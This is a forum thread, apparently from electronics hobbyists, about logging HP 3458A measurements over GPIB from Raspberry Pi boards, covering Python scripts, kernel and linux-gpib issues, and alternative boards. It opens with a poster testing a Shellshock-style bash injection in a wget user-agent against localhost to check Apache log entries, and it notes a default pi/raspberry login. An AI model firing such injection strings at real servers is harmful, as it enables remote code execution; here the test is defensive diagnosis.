Looks pretty harmless to me. The shell code is in the user-agent field, but it is not executed. I just tested it like this:

Code: [Select]
wget --user-agent="() { :;}; /bin/bash -c \"wget localhost - O /tmp/test\"" localhost

and the file /tmp/test was not created, at least not on my Debian PC, didn't test it on the Raspberry Pi so far (don't have access to it at the moment), but in the Apache access log it looks very similar to your line. Looks like there is some HTTP server out there which executes the user-agent field with this special text, which is really stupid.

If you don't need to access the Raspberry Pi from the internet, you should not make it accessible from the internet (e.g. with a NAT rule). If it is accessible from the internet, there are other things you have to take care of, like only allow to access port 80, otherwise someone could hack it with the default password for the ssh-login or the samba directory export. Note: changing the password for the pi-user doesn't change the password for the samba access. Maybe in the readme of the distribution some security notes should be added.

And maybe better to use something like Lighttpd instead of Apache? I use this on my internet server, because it has a better security history than Apache and it is not as heavy.

I saw the 200 code and wonder if it was really successful or not.  The rm command would of wiped out the perl script.  But testing like you did, proves it was not successful.

Greeezzzz....  These BOT people really ruin things on the Internet...

Anybody else getting this in their apache logs?  That's bad....

Here is my slightly tweaked code from the logging code that was provided.  Whenever I try to run the script, it only seems to work about half of the time... 

The half of the time where it does seems like it is doing its thing and looping properly and triggering measurements, but not logging properly.  It will just print out data taken over a certain amount of time, all at once. 

The other half it seems like it just gets hung up on the inst.write("ID?") for reason.   :scared:

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Code: [Select]
# Python script for logging 10V DC Standard on 3458A with automatic ACAL

Probably cause ACAL is secured, change this line:

inst.write("ACAL DCV")

to:

inst.write("ACAL DCV, 3458")

Give that a try.

Try with TARM HOLD.
Also what is the purpose of inst.write("RES 0.00000001") ? It's invalid setting.

When measuring ACV with ACV Sync, the 'res' command was the only way I could find to get 7.5 digits of resolution on the display in 100 mV range.  It was weird... ndig wouldn't work for some reason.
I guess I just carried that command over to other functions to get the most resolution I could.

For ACV you might want use TRIG SYN and TARM SYN. Suggest to take a look on UM for those commands, as well as RES ;).

Here is a snippet from the performance verification procedure.  I'm not sure the command is even necessary in my particular situation.  I just saw that they tell you to use the command on ACV, I'm not really sure why I carried it over to DC.  I will take it out  :-+

"5. Configure the transfer standard DMM as follows:
-- ACV
-- SETACV SYNC
-- ACBAND 10,2E6
-- RANGE10
-- RES .001
-- TRIG SGL
-- LFILTER ON

6. Configure the DMM under test as follows:
-- ACV
-- SETACV ANA
-- ACBAND 10,2E6
-- RANGE10
-- RES .01
-- TRIG SGL
-- LFILTER ON"


Is there anyway I can see what is going on with the script and what command it is using, in real time?

Finally got my script working the way I want it to :D    This script is for testing the nominal DCV performance of a 3458A using a Datron 4808.  It's been awhile since I really got to program anything, so I really enjoyed this a lot!  I will be doing many more scripts to automate tests in the near future.  I've provided a copy of the script below, please critique it and let me know what I can do better  :-+

I'd add two more steps

1. To null zero offset with short before going thru reading.
2. To run ACAL on 3458A prior to any measurements.

As requested by several members I have uploaded the image from my raspberry pi 1 model B to TiN's FTP server. There is nothing special about it, it is simply a 2016-05-27-raspbian-jessie-lite install after which I followed TiN's howto for the Agilent 82357B.
The login is the usual pi/raspberry
I have had it be a little picky when first booted a few times - the red LED will stay on on the GPIB adapter. When that has happened I have had to unplug the adapter and reconnect it to the pi at which point it works fine. I have never had it crash during data logging etc.
I believe forum member BFX is going to try it out, hopefully he can report how it functions for him.

Thanks Steve for image. This week I should receive RPi 1 B+ for test.
In meantime has been tested kernel 4.9, I cannot recommend it, rather stay with 4.4.38 or 4.4.35 used on LogNut image. With 4.9 it is almost impossible to log more than day. There is timeout on NI GPIB USB HS adapter.
But this kernel works OK with E5810.

Arduino GPIB adapter assembled and it seems to be similar to Prologix 6.0. Used Arduino Nano.
3D printed enclosure
http://www.thingiverse.com/thing:993349


Also started work on PID temperature controller program for easy tempco measurement. I select E3632A power supply with H bridge from Pololu and 15V/4A TEC module.
H bridge is used for changing polarity by PSU relay signal available on RS232 output ( internal jumpers needs to be placed ) it is possible to control over GPIB.
Current version of algorithm has few issue, so it needs some fine tuning.

During testing logging on GPIB and multiple RPI I realized that I needs more GPIB cables. So I made some DIY, It is more easy to work with them, when instruments has different GPIB connectors orientation.

Image is 16GB and will probably not fit to majority of 16GB cards, For testing you needs +16GB SD card.

So this is a kernel issue and not linux-gpib?  Reverting a kernel patch might be an easy solution if we knew more.

Where did you get the GPIB connectors for ribbon , what did they cost ?

Maybe we should switch to Odroid for the logging platform.

The C2 beats the Rpi3 by lengths in speed and has 2G ram & 1Gb ether throughput both ways, and the C1 is also a nice buy

C1
http://www.pollin.de/shop/dt/OTg1OTgxOTk-/Bauelemente_Bauteile/Entwicklerboards/Odroid/ODROID_C1_Einplatinen_Computer_1_5_GHz_QuadCore_4x_USB_1_GB.html


C2

I used to think that the sw support & new kernels for the Rpi platform was the strength of it, the USB-bound IO certainly isn't.
But now the bad kernel stuff seems to be the weakness.

The Odroid is super performing HW , beats a Rpi any day.
But they lag behind in kernelstuff, as AMLOGIC seems slow to port to the newer kernel 4


Well Rpi is prob the most widespread platform, but the Odroid C2 just kicks A..
It might also have the widest set of installable packages, though i have never missed a package on my Ordoids.


I have both C1 & C2 , and might see if i can test linux-gpib w. Agilent-USB-GPIB , in a few weeks.

I have the choice of Ubuntu (Official supported by Hardkernel) or Debian (Community supported) and usually my choice.

Tried on rpi2 - it won't boot. Stuck in the colorful box display.

I'm quite sure the v1 and v2 are NOT kernel compatible.

While looking for python GPIB examples, I came across PyMeasure.
It has a neat concept of having different classes for different equipments.

I haven't good news :(
I used image on my RPi 1 (2011) it's starts OK, but on Agilent 82357B only lights up all 3 leds for a while and after that only red lights. After one second the same.
Unplug and plug adapter back didn't help. (I tried it more times also to different usb ports)
lsub doesn't show Agilent 82357B in the list.

Bingo600 hinted me that linux-gpib got updated to SVN R1654, which has fix in DMA buffers for Agilent 82357B's on linux kernels 4.x.x.
I hasted to try on plesa's Lognut image, but it didn't work.

So I reformatted SD card and wrote fresh Raspbian + Pixel from RPI site.
Installed usual things, couldn't get linux-gpib to install properly in first place (could not find modules), but after bit of poking with rpi-source python script and few reboots I finally got linux-gpib to install and gpib_config to work.

Try beefier PSU. I had similar issues before with 4.9V PSU 500mA. After bumping power to 5.1V 1A - all good :)

I haven't got time today, for testing the new linux-gpib release.

But i plan to test on a v1 @kernel 4.4.38 (latest raspbian foundation).
And on a v3 @kernel 4.4.0-1-rpi2 (latest raspbian.org) -
raspbian.org is my favorite and "Debian compliant kernel", w. "apt-get header support" 
I already have the raspbian.org kernel runing on a v3 wo. problems, just need to build & test the latest linux-gpib.

I even think we should switch to that one for the "platform"
